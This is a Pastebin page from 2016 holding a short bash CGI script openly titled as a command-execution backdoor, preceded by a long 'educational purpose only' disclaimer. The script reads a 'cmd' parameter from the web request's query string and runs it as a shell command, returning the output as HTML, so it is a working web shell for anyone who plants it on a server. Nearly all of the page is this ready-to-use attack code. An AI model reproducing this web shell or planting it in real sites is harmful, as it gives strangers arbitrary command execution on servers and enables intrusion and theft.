hackerscommunity

Simple CGI (bash) cmd execution backdoor

Jun 28th, 2016
425
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.17 KB | None | 0 0
  1. #!/bin/sh
  2. #
  3. #  Simple CGI (bash) backdoor
  4. #
  5. #  http://www.ethical-hacker.org/
  6. #  https://www.facebook.com/ethicalhackerorg
  7. #  http://pastebin.com/u/hackerscommunity
  8. #
  9. #  Disclaimer:
  10. #  This  or  previous program  is  for Educational
  11. #  purpose ONLY. Do not use it without permission.
  12. #  The  usual  disclaimer  applies, especially the
  13. #  fact  that  Todor Donev  is  not liable for any
  14. #  damages caused by direct or indirect use of the
  15. #  information or functionality  provided by these
  16. #  programs.  The author or any  Internet provider
  17. #  bears  NO  responsibility for content or misuse
  18. #  of these programs or  any  derivatives thereof.
  19. #  By  using  these  programs  you accept the fact
  20. #  that any damage (dataloss, system crash, system
  21. #  compromise,  etc.)  caused  by the use of these
  22. #  programs is not  Todor Donev's  responsibility.
  23. #
  24. #  Use  at  your  own risk and educational purpose
  25. #  ONLY!
  26. #
  27. echo "Content-type: text/html"
  28. echo "
  29. <html>
  30. <body>
  31. <pre>"
  32. if [ -z "$QUERY_STRING" ]; then
  33. exit 0
  34. else
  35. cmd=`echo "$QUERY_STRING" | sed -n 's/^.*cmd=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
  36. fi
  37. $cmd
  38. echo "</pre>
  39. </body>
  40. </html>
  41. "
Advertisement
Add Comment
Please, Sign In to add comment